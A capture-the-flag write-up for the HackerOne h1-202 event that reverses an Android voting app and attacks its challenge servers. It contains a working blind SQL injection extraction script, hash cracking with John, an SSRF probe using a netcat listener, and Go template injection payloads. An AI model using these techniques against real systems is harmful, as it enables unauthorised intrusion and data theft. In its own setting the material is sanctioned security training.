H1 202 CTF


This is my second HackerOne CTF event and I have to say, I am quite impressed :)

h1-202 CTF was a series of 6 challenges meant to test your reversing and web exploitation skills.

Coming from a CTF background, I’m usually comfortable with these categories. Nevertheless, the authors of this CTF has managed to make something truly original and interesting.

Kudos to you guys, I’ve learned a lot.


Challenge file : challenge.apk

The Challenge

This CTF consisted of reversing and web exploitation challenges.

All challenges refer to a single APK for an android application called CandidateVote. From this APK, we’ll be able to find all 6 flags.

Before getting into the solutions, I’ll go over the entire APK, explaining the key elements that will be needed to solve the various challenges.

Static Analysis

There are many different approaches one can take to solve this.

Because I don’t have a mobile device, I spent a couple of hours setting up an emulator so I can install/run the APK. In the end, analyzing the application dynamically does help, but isn’t necessary. I’ll mostly be covering the static approach.

The tools I’ll be using are the following :

To get started, we can setup an emulator in order to install the APK and have a quick overview of what kind of app we’re dealing with.

To do this, I used the command line tools that come with Android Studio :

 # Download the files for an API 25 build
$ sdkmanager "system-images;android-25;google_apis;x86_64"

# Create a device based on what we downloaded previously
$ avdmanager create avd x86_64_api_25 -k "system-images;android-25;google_apis;x86_64"

# Run the emulator
$ emulator @x86_64_api_25

# Install the APK
$ adb install ./challenge.apk

This will start our emulator and install a CandidateVote app. Let’s run it :


So the app is some sort of voting system. It has two views : - A main view which lists candidates that you can vote for; - A registration view allowing us to create/login to an account.

Now that we know what we’re dealing with, let’s decompile the APK and take a look the source code of the challenge.

We’ll use jadx-gui, which will give us a nice UI to work with :

$ jadx challenge.apk
INFO  - output directory: challenge
INFO  - loading ...
WARN  - Unknown 'R' class, create references to 'com.hackerone.candidatevote.R'
[ ... A bunch of sketchy warning and error messages ... ]
ERROR -   Method: org.bouncycastle.x509.PKIXCertPathReviewer.checkPolicy():void
ERROR - finished with errors


From jadx, we can see the available packages as well as the decompiled source code. What you see above is the source code of the MainActivity class, which is responsable for the main view of the application. This class can be found in the com.hackerone.candidatevote package.

All of the relevant classes for this CTF will be in that package.

Browsing through the classes in the com.hackerone.candidatevote package, we can find a lot of interesting information. These will be useful for the most of the challenge. Here’s the notes I’ve gathered during the event :

There are 7 aaa... native functions throughout the package :


There seems to be an encryption function in the f class :

// MainActivity.onCreate()
Log.d("TEST", "Helper for when I need to decrypt things: " + a(f.a("testing encryption", f.a(this))));

// f
public class f {
    public static SecretKey a(Context context) {
        return new SecretKeySpec(context.getString(R.string.title_for_the_current_time).getBytes(), "AES");

    public static byte[] a(String str, SecretKey secretKey) {
        Cipher instance;
        GeneralSecurityException e;
        byte[] bArr;
        Exception e2;
        try {
            instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
        } catch (NoSuchAlgorithmException e3) {
            // Exception handling
        } catch (NoSuchPaddingException e4) {
            // Exception handling
        try {
            instance.init(1, secretKey);
        } catch (InvalidKeyException e5) {
        bArr = new byte[0];
        try {
            return instance.doFinal(str.getBytes("UTF-8"));
        } catch (IllegalBlockSizeException e6) {
            // Exception handling
        } catch (BadPaddingException e7) {
            // Exception handling
        } catch (UnsupportedEncodingException e8) {
            // Exception handling

There’s a reference to a client and a client.jar file :

// MainActivity.l()
public void l() {
    if (this.q != null) {
        CandidateClient.b().a(this.q, "client").a(new d<ad>(this) {
            final /* synthetic */ MainActivity a;

                this.a = r1;

            public void a(b<ad> bVar, l<ad> lVar) {
                File file = new File("client.jar");
                try {
                    j.a(file, new i[0]).a(((ad) lVar.b()).d());
                } catch (IOException e) {

            public void a(b<ad> bVar, Throwable th) {

There is an API available at api-h1-202.h1ctf.com :

// CandidateClient.c()
private static m c() {
    x a = new a().a(new g.a().a("api-h1-202.h1ctf.com", "sha256/2Bp6rERcJhrnVVc2OIbB/huXhOy6RFp/IMvk1AfBjvU=").a()).a();
    return new m.a().a("https://api-h1-202.h1ctf.com/").a(c.a.a.a.a()).a(a).a();

There are two interfaces (d and e) which seem to contain the endpoint definitions for the API :

public interface d {
    @k(a = {"X-API-AGENT: ANDROID"})
    @f(a = "/candidates")
    b<ArrayList<c>> a();

    @k(a = {"X-API-AGENT: ANDROID"})
    @o(a = "/user/login")
    b<b> a(@a h hVar);

    @p(a = "/vote/{id}")
    @k(a = {"X-API-AGENT: ANDROID"})
    b<a> a(@i(a = "X-API-TOKEN") String str, @s(a = "id") int i);

    @k(a = {"X-API-AGENT: ANDROID"})
    @o(a = "/candidates")
    b<a> a(@i(a = "X-API-TOKEN") String str, @a c cVar);

    @k(a = {"X-API-AGENT: ANDROID"})
    @o(a = "/user/register")
    b<b> b(@a h hVar);

public interface e {
    @k(a = {"X-API-AGENT: ANDROID"})
    @f(a = "/code")
    b<ad> a(@i(a = "token") String str, @t(a = "app") String str2);

:notes: There is a hidden view called AddCandidate which has an interesting native function called getJs() :

// AddCandidateActivity
private native String getJs();

public void k() {
    this.n.post(new Runnable(this) {
        final /* synthetic */ AddCandidateActivity a;

            this.a = r1;

        public void run() {
            this.a.n.loadUrl("javascript:" + URLEncoder.encode(this.a.getJs()));

With all this information, we can start taking a look at the challenges.

Plaintext Flag

The first flag is directly in the app. Can you find it?

Here’s the solution :

$ strings challenge.apk | grep flag

I don’t think this challenge needs an explanation.

In ur db? oh no!

That is a nice voting API server you got there. I bet you have a good DB too!

This challenge refers to a voting API. As we’ve noted earlier, there seems to be an API available here : https://api-h1-202.h1ctf.com/.

Also, we have a list of endpoints that we can test from the interfaces e and d :

    @k(a = {"X-API-AGENT: ANDROID"})
    @f(a = "/candidates")
    b<ArrayList<c>> a();

    @k(a = {"X-API-AGENT: ANDROID"})
    @o(a = "/candidates")
    b<a> a(@i(a = "X-API-TOKEN") String str, @a c cVar);

    // [...]

I have not reversed the various @ functions, but we can make assumptions as to what they represent. Here we can safely assume that X-API-AGENT is a mandatory header and that X-API-TOKEN is another header, but requires a user supplied value.

So what we have so far is this : https://api-h1-202.h1ctf.com/candidates https://api-h1-202.h1ctf.com/user/login https://api-h1-202.h1ctf.com/vote/{id} https://api-h1-202.h1ctf.com/user/register https://api-h1-202.h1ctf.com/code

Based on the challenge title, one of these endpoints should have some sort of SQL/NoSQL injection.

Each endpoint has their own set of parameters and HTTP verbs. I won’t detail how each endpoint works though. After spending a couple of hours fuzzing these endpoints, you’ll realise none of them are injectable.

After some time, I remembered that this is a RESTFUL API… There are probably hidden verbs/paths that I haven’t considered yet…

Introducing https://api-h1-202.h1ctf.com/candidates/{id} :

$ curl "https://api-h1-202.h1ctf.com/candidates/1" -H "X-API-AGENT: ANDROID"
{"error":"Under construction // TODO: return results from query"}

$ curl "https://api-h1-202.h1ctf.com/candidates/(1)" -H "X-API-AGENT: ANDROID"
{"error":"Under construction // TODO: return results from query"}

$ curl "https://api-h1-202.h1ctf.com/candidates/999" -H "X-API-AGENT: ANDROID"

From the results we have above, we can confirm that a valid integer is used when we get the Under construction message. An invalid integer will result in a {} response.

Since wrapping an integer with () gives a positive result, this means that we’re most likely not in the context of a quote (SELECT * FROM something WHERE id = (1))

In order to figure out which DBMS we’re dealing with, we can simply inject (SELECT 1 FROM [schema_table]) and test it against various meta tables.

In the end, we discover that the DBMS is SQLite :

$ curl "https://api-h1-202.h1ctf.com/candidates/(SELECT%201%20FROM%20information_schema.tables)" -H "X-API-AGENT: ANDROID"

$ curl "https://api-h1-202.h1ctf.com/candidates/(SELECT%201%20FROM%20sqlite_master)" -H "X
{"error":"Under construction // TODO: return results from query"}

Also, since we get a different response based on the validity of our supplied ID, we basically have a blind boolean based SQL injection. Here’s the structure that I’ll use for my injection :

  WHEN [condition]
    THEN 1 # valid ID
    ELSE 5 # invalid ID
from [table_name])

I like to do my SQL injections by hand when I know that I’ll be dealing with small data sets. SQLMap is noisy… So here is a python script which spits out the flag :

#!/usr/bin/env python2

import requests
import string
import binascii


flag = ""
while True:
    found = False

    for c in "0123456789ABCDEF":
        SQL = "(SELECT CASE WHEN hex(flag) LIKE '{}%25' THEN 1 ELSE 5 END from secret_flags WHERE flag LIKE '%25flag%25')"

        payload = SQL.format(flag + c)
        URL = "https://api-h1-202.h1ctf.com/candidates/{}".format(payload)
        response = requests.get(URL, headers=HEADERS)

        if "Under construction" in response.text:
            found = True
            flag += c

    if not found:
        print "FLAG : {}".format(binascii.unhexlify(flag))
$ python solution.py
FLAG : flag{uh_oh_you_sh0uldnt_be_seeing_this}

Go-ing down the rabbit hole

The admin forgot to remove the code update endpoint. I wonder what secrets they left in there?

Time to do some reversing!

Obtaining the code

This challenge references the /code endpoint that we’ve mentionned briefly in the previous challenge. Here’s a reminder :

public interface e {
    @k(a = {"X-API-AGENT: ANDROID"})
    @f(a = "/code")
    b<ad> a(@i(a = "token") String str, @t(a = "app") String str2);

This endpoint takes a X-API-AGENT: ANDROID header as well as what seems to be an app parameter.

$ curl https://api-h1-202.h1ctf.com/code -H "X-API-AGENT: ANDROID"
{"error":"Did not provide app query param"}

$ curl https://api-h1-202.h1ctf.com/code?app=test -H "X-API-AGENT: ANDROID"
{"error":"Could not find application"}

Based on the last error message above, we need to find a valid app parameter value. To figure this out, let’s go back to jadx-gui and find references to the e interface.

In jadx-gui, right click on the interface name and select Find Usage. You should see a list of all references to that interface.


So there’s a couple of references, all pointing to CandidateClient.b().

public static e b() {
    return (e) c().a(e.class);

On its own, CandidateClient.b() doesn’t give us much information. Let’s checkout the references again, but this time for b().


This brings us back to the MainActivity, at the function with the client.jar string! From what we can see, the result of b() calls the function a() with a "client" parameter. Let’s try that out for our app param.

$ curl https://api-h1-202.h1ctf.com/code?app=client -H "X-API-AGENT: ANDROID" > client.jar

$ file client.jar
client.jar: Zip archive data, at least v2.0 to extract

Looks like it worked! Unzipping the jar…

$ unzip client.jar
Archive:  client.jar
  inflating: AndroidManifest.xml
  inflating: proguard.txt
  inflating: classes.jar
  inflating: jni/armeabi-v7a/libgojni.so
  inflating: jni/arm64-v8a/libgojni.so
  inflating: jni/x86/libgojni.so
  inflating: jni/x86_64/libgojni.so
  inflating: R.txt
   creating: res/

It seems like libgojni.so is our challenge now. The classes.jar file contains a set of .java files that we can decompile, but they pretty much just call functions in the libgojni.so file, so I’ll skip that part.

Obtaining the flag

The name libgojni.so as well as the challenge name suggests that we’re dealing with a go binary.

While running strings on the binary, I saw a couple of references to Pink Floyd’s Dark Side of the Moon.

$ strings libgojni.so | grep -i dark

In go binaries, most of the strings are actually function names. Analyzing the results above, one of the function names stand out : github.com/breadchris/huffman.DarkSideOfTheMoon

Let’s open that up in IDA and take a look.


What you see above is an snippet of the huffman.DarkSideOfTheMoon() function. I didn’t bother looking at the code much, but I did notice a github_com_breadchris_huffman_secreto.array symbol at loc_A82B8.

Following it in one of the IDA views leads us to discover a github_com_breadchris_huffman_keyo just above it.


These two values are actually pointers to strings. Following both of these pointers lead us to a key…


… and what seems to be a cipher to decrypt.


Back to the DarkSideOfTheMoon() function, one of the function calls is github_com_breadchris_huffman_e(). Inside, we can quickly recognize the structure of a loop with an xor operation in the middle : an xor cipher.

A quick python script can then solve this for us!

#!/usr/bin/env python2

from pwn import *

secret =  "\x0d\x09\x18\x2c\x48\x15\x04\x5c\x12\x02\x00\x06\x1c\x0d\x18\x3f\x6c"
secret += "\x0e\x0e\x6c\x1e\x04\x11\x06\x03\x00\x0b\x39\x41\x0b\x19\x41\x0b\x16"

key = 'keyK3yk3ykeY'

print xor(secret, key)
$ python solution.py

Encrypted Flag

The title of this challenge refers to encryption. Based on what we’ve found, there are two snippets of code that come to mind, the log and the f class.

Starting with the log :

Log.d("TEST", "Helper for when I need to decrypt things: " + a(f.a("testing encryption", f.a(this))));

We can see three distinct function calls here : - f.a(this) - f.a("testing encryption", ???) - a(???)

Since we don’t see any ciphertext here, we can assume that these three functions somehow encrypt the “testing encryption” string.

Let’s take a look at the first function call.

f.a() with 1 parameter

public static SecretKey a(Context context) {
    return new SecretKeySpec(context.getString(R.string.title_for_the_current_time).getBytes(), "AES");

From what we see here, if we give f.a() only one parameter, it creates a SecretKeySpec for the AES cipher using the resource title_for_the_current_time.

Let’s check the value of that resource. To do this, we’ll use apktool to unpack the APK and decode the resources.

$ apktool d challenge.apk
I: Using Apktool 2.3.1 on challenge.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/Corb3nik/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

$ ls
challenge     challenge.apk

$ cd challenge

$ grep -R "title_for_the_current_time" *
res/values/public.xml:    <public type="string" name="title_for_the_current_time" id="0x7f0d0037" />
res/values/strings.xml:    <string name="title_for_the_current_time">AAAAAAAAAAAAAAAA</string>

So it seems that our secret key is AAAAAAAAAAAAAAAA.

f.a() with 2 parameters

Based on our previous finding, we basically have something like this :

f.a("testing encryption", "AAAAAAAAAAAAAAAA")

Taking a look at the source code for this function, here are the relevant parts : “` public static byte[] a(String str, SecretKey secretKey) { Cipher instance; GeneralSecurityException e; byte[] bArr;

    // [...]
    instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
    // [...]
    instance.init(1, secretKey);
    // [...]
    bArr = new byte[0];
    // [...]
    return instance.doFinal(str.getBytes("UTF-8"));
    // [...]

The code above creates an `AES` `Cipher` object using `ECB` mode and
`PKCS5` as padding. It then initializes it with our secret key from earlier
and encrypts a string with it (in this case "testing encryption").

### **The a() function**

Once the "testing encryption" string is encrypted, the ciphertext is sent to the
`a()` function.

public static String a(byte[] bArr) { char[] cArr = new char[(bArr.length * 2)]; for (int i = 0; i < bArr.length; i++) { int i2 = bArr[i] & 255; cArr[i * 2] = r[i2 >>> 4]; cArr[(i * 2) + 1] = r[i2 & 15]; } return new String(cArr); } ”`

I won’t go much in depth on this one, but if you spend a couple of minutes reversing this, you’ll realise that it basically encodes a byte array as an uppercase hex string.

Obtaining the flag

So what we’ve discovered so far is a series of function allowing us to encrypt plaintext into an uppercase hex string. Since we have the key, we can re-implement and decrypt whatever we want. But what should we decrypt?

We’ve seen uppercase hex strings before…


Let’s try to decrypt those! I’ve re-implemented the decryption in Python.

#!/usr/bin/env python3

import sys
import base64
import binascii
from Crypto.Cipher import AES

block_size = 16
pad = lambda s: s + (block_size - len(s) % block_size) * chr(block_size - len(s) % BS)
decode = binascii.unhexlify

def unpad(s):

    if ord(s[-1]) > 16:
        return s

    return s[:-ord(s[len(s)-1:])]

class AESCipher:
    def __init__( self, key ):
        self.key = key

    def decrypt(self, enc):
        cipher = AES.new(self.key, AES.MODE_ECB)
        plaintext = cipher.decrypt(enc)
        return unpad(plaintext)

cipher = AESCipher("AAAAAAAAAAAAAAAA") # R.title_for_the_current_time

flag = ""
flag += cipher.decrypt(decode("DDC09B1C11F8675E0186310A6B36002D"))
flag += cipher.decrypt(decode("9D2A44020EA764B6AD790A9B1E894BFE"))
flag += cipher.decrypt(decode("5055DEAA9850A19FB67D4E76BC8FD825"))
flag += cipher.decrypt(decode("91C6DD1299FD5D1DE9C4A0C78616D244"))
flag += cipher.decrypt(decode("44648798D358E60D7C4D29B5469CAEA8"))
flag += cipher.decrypt(decode("A76CBBE4FA5619E360BF7DFC77D1D49E"))
flag += cipher.decrypt(decode("1E7746CB4B982418E917EDD07F6ACFFA"))
print flag

You’ll have to play around with the order a bit, but in the end you should get something like this :

$ python solution.py

Another flag! … and a hash?

Calling out Foul Play

Solving the previous challenge also gave us a set of credentials to use for which the password is hashed.

We can attempt to crack it with John :

$ echo 'electionAdmin:$apr1$Qk6pnugW$FxFFxsg8Ad0QVemp3sSSH.' > hash.txt

$ john hash.txt
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 SSSE3 20x])
Press 'q' or Ctrl-C to abort, almost any other key for status
pickles          (electionAdmin)
1g 0:00:00:01 DONE 2/3 (2018-02-23 01:55) 0.9259g/s 7609p/s 7609c/s 7609C/s nathans..pickles
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We now have the credentials electionAdmin / pickles. But where do we use it?

In our initial notes, there was a GetJs() native function inside the APK. That function, just like the aaa... functions, come from the libnative-lib.so file.

As expected, by disassembling the it with IDA, we discover hardcoded JavaScript code :


To extract it, we can run strings libnative-lib.so and copy the parts we want. You’ll notice that the beginning of the Javascript snippet starts with an array of base64-encoded strings.

var a=['aHR0cDovL2xvY2FsaG9zdDo5MDAxL2FkbWlu','c2V0UmVxdWVzdEhlYWRlcg==','QmFzaWMg','aWZvcmdvdDp0aGVwYXNzd29yZA==','c2VuZA==','YXBwbHk=','SUthTWQ=','YWV2QW0=','WUxBRnA=','U01rR2I=','Y29uc29sZQ==','Nnw1fDF8M3wyfDR8MHw4fDc=','b25pSE4=','c3BsaXQ=','ZXhjZXB0aW9u','d2Fybg==','aW5mbw==','ZGVidWc=','ZXJyb3I=','bG9n','dHJhY2U=','cmVzcG9uc2VUZXh0','aGFzT3duUHJvcGVydHk=','cHVzaA==','d1VkUnk=','am9pbg==','Z2V0TmFtZQ==','Z2V0VXJs','PGgxPkNhbmRpZGF0ZTwvaDE+PGgzPk5hbWU6IHt7IC5OYW1lIH19PC9oMz48aW1nIHNyYz0ie3sgLlVybCB9fSIgLz4=','YWRkRXZlbnRMaXN0ZW5lcg==','bG9hZA==','b3Blbg==','R0VU'];

Let’s decode them in a developer console :

> var a=['aHR0cDovL2xvY2FsaG9zdDo5MDAxL2FkbWlu','c2V0UmVxdWVzdEhlYWRlcg==','QmFzaWMg','aWZvcmdvdDp0aGVwYXNzd29yZA==','c2VuZA==','YXBwbHk=','SUthTWQ=','YWV2QW0=','WUxBRnA=','U01rR2I=','Y29uc29sZQ==','Nnw1fDF8M3wyfDR8MHw4fDc=','b25pSE4=','c3BsaXQ=','ZXhjZXB0aW9u','d2Fybg==','aW5mbw==','ZGVidWc=','ZXJyb3I=','bG9n','dHJhY2U=','cmVzcG9uc2VUZXh0','aGFzT3duUHJvcGVydHk=','cHVzaA==','d1VkUnk=','am9pbg==','Z2V0TmFtZQ==','Z2V0VXJs','PGgxPkNhbmRpZGF0ZTwvaDE+PGgzPk5hbWU6IHt7IC5OYW1lIH19PC9oMz48aW1nIHNyYz0ie3sgLlVybCB9fSIgLz4=','YWRkRXZlbnRMaXN0ZW5lcg==','bG9hZA==','b3Blbg==','R0VU'];
> a.map(atob)
Array [ "http://admin-h1-202.herokuapp.com/admin", "setRequestHeader", "Basic ", "iforgot:thepassword", "send", "apply", "IKaMd", "aevAm", "YLAFp", "SMkGb", … ]

The first item is a URL to a new domain! When visiting that domain at /admin, we are queried with a login prompt! We can use our electionAdmin : pickles credentials here.

Once logged in, we’re given a series of error messages telling us which parameters we need to use on this endpoint :

$ curl http://admin-h1-202.herokuapp.com/admin
{"error":"Did not provide t query param"}

$ curl http://admin-h1-202.herokuapp.com/admin?t=one
{"error":"Did not provide name query param"}

$ curl http://admin-h1-202.herokuapp.com/admin?t=one&name=two
{"error":"Did not provide image query param"}

$ curl http://admin-h1-202.herokuapp.com/admin?t=one&name=two&image=three
{"error":"Looks like we can't get that image, try another one?"}

So the endpoint seems to be fetching an image from somewhere… Two implementations come to mind : - The endpoint fetches an image in its filesystem; - The endpoint fetches an image through a URL

Using a URL as an image, we obtain a new behavior from the endpoint : $ curl http://admin-h1-202.herokuapp.com/admin?t=test123&name=two&image=http://google.com test123

So I guess the URL worked?

Assuming the endpoint sends a request using the provided URL in the image parameter, we can setup a netcat listener on a VPS in order to inspect the headers being sent from that request. Doing this sometimes allows us to determine what backend is being used through headers such as the User-Agent.

Our listener, after pointing the image to our VPS : bash $ nc -lvp 80 Listening on [] (family 0, port 80) Connection from [] port 80 [tcp/http] accepted (family 2, sport 43788) GET / HTTP/1.1 Host: User-Agent: Go-http-client/1.1 Challenge: Calling out Foul Play Flag: flag{wow_look_at_u_with_ur_server_n_shit} Accept-Encoding: gzip

Flag : flag{wowlookatuwithurservernshit}

(So the server is using Go huh?)


This one was probably the hardest in this CTF and the most fun too! From what I heard during the event, a lot of people were stuck at this final challenge.

With a challenge name like /admin, we can assume that we have to keep working on the /admin endpoint from the previous challenge. So far we’ve played around with the image parameter, but we haven’t used the name or the t parameter yet.

$ curl http://admin-h1-202.herokuapp.com/admin?t=test123&name=two&image=http://google.com

Since the t parameter is being reflected in the response, we’ll start there.

I initially started by testing with a <script>alert(1)</script> payload in the parameter. It worked, no filtering whatsoever. I then attempted with a single <script> tag, which failed with the following response :

{"error":"Oops! Try again :)"}

Moving on, I noticed that HTML comments (<!-- -->) whould just disappear from the response!

$ curl http://admin-h1-202.herokuapp.com/admin?t=test%3C!--comment--%3E&name=two&image=http://google.com

So the application will somehow render our t parameter, removing comments. This makes me think of templates, which would make sense for a t parameter.

Let’s test this out :

{% raw %}
$ curl http://admin-h1-202.herokuapp.com/admin?t={{%22test%22}}&name=two&image=http://google.com
{% endraw %}

7*7 won’t work for some reason, but “test” will. So what template engine is this? Considering that the User-Agent used for the last challenge is Go-http-client/1.1, it would make sense that we’re dealing with Go templating : https://golang.org/pkg/text/template/.

We can confirm this by testing one of the examples :

{% raw %}
$ curl http://admin-h1-202.herokuapp.com/admin?t={{printf+%22%25q%22+(print+%22out%22+%22put%22)}}&name=two&image=http://google.com
{% endraw %}

So we have a Go template injection vulnerability. After reading online and manually fuzzing it, you’ll notice that the engine is pretty secure. We can’t obtain any kind RCE or file read with template injection alone.

So if a challenge author wanted to put a flag somewhere, it’ll probably be in some hidden variable or function which is passed as a parameter when rendering the template. Without the source code, solving this would require guessing…

So where’s the source code!? Remember our /code?app=client endpoint? Maybe there’s an ?app=server

$ curl https://api-h1-202.h1ctf.com/code?app=server -H "X-API-AGENT: ANDROID" > server

$ file server
server: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

Noooo waaaaaaaaayyyyy! Time for some more reversing!

Learning Go Reversing and Obtaining the flag

The server file is yet another Go binary. This time though, the binary is stripped and has about 6000 unnamed functions.


I have no experience in Go reversing, so I spent a lot of time reading. This article was quite helpful : https://rednaga.io/2016/09/21/reversinggobinarieslikea_pro/

Go binaries are quite different than typical C/C++ binaries in that : - Compiling a simple binary creates a ton of runtime_ functions - All function names are stored as strings in one of the binaries’ segments. (Which means we can retrieve them even if the binary is stripped)

The author of the article above created an IDA python script that we can use to retrieve the functions names among other thing : https://github.com/strazzere/golangloaderassist

The script was broken for me at a few places because of a recent change in IDA’s API, so I spent some time patching it. Changes include renaming all MakeStr() to create_strlit and idaapi.get_segm_name to get_segm_name.

Running the script in IDA gives us beautiful results :


Another particularity of Go binaries is that the call convention is stack based. No arguments are stored in registers. The return values are also stored on the stack, as opposed to rax in typical binaries. I’m guessing this allows the Go language to return multiple values in a single function call.

Lastly, depending on the type, passing objects as parameters implicity includes the length of said object. So for a function call like this :

result := os.Getenv("PORT")

The resulting compiled code looks more like this :

os_getenv("PORT", 4, &out, &out_len)

Here’s the corresponding disassembly :


While going through the available functions, you’ll notice a main_getFlag() and a main_GetAdminPage() function.

Looking into main_GetAdminPage(), the first basic blocks already look interesting.


For starters, the runtime_makemap function creates a map and stores it in a variable which I’ve named some_map.

It then calls runtime_map_assign_faststr(???, 0x8, &some_map, "___________", 0xb). The return value of that function call seems to be a structure, in which one of its members is being assigned some_function_pointer.

You can see that below, where rax is the return value of runtime_map_assign_faststr :

lea     rcx, some_function_pointer
mov     [rax+8], rcx

Now what function is that value pointing to?


The get_flag() function! Since we’re talking about maps, I can only assume we’re looking at something like this :

some_map["___________"] = &get_flag;

This looks a lot like the hidden function we were looking for. Let’s try it out :



I’ve had a lot of fun with this CTF. The challenges are quite original and I’ve learned a lot of about Go reversing and IDA’s API.

A huge thanks to the organizers, I’m looking forward to the next one.

Written by Corb3nik [twitter.com/Corb3nik]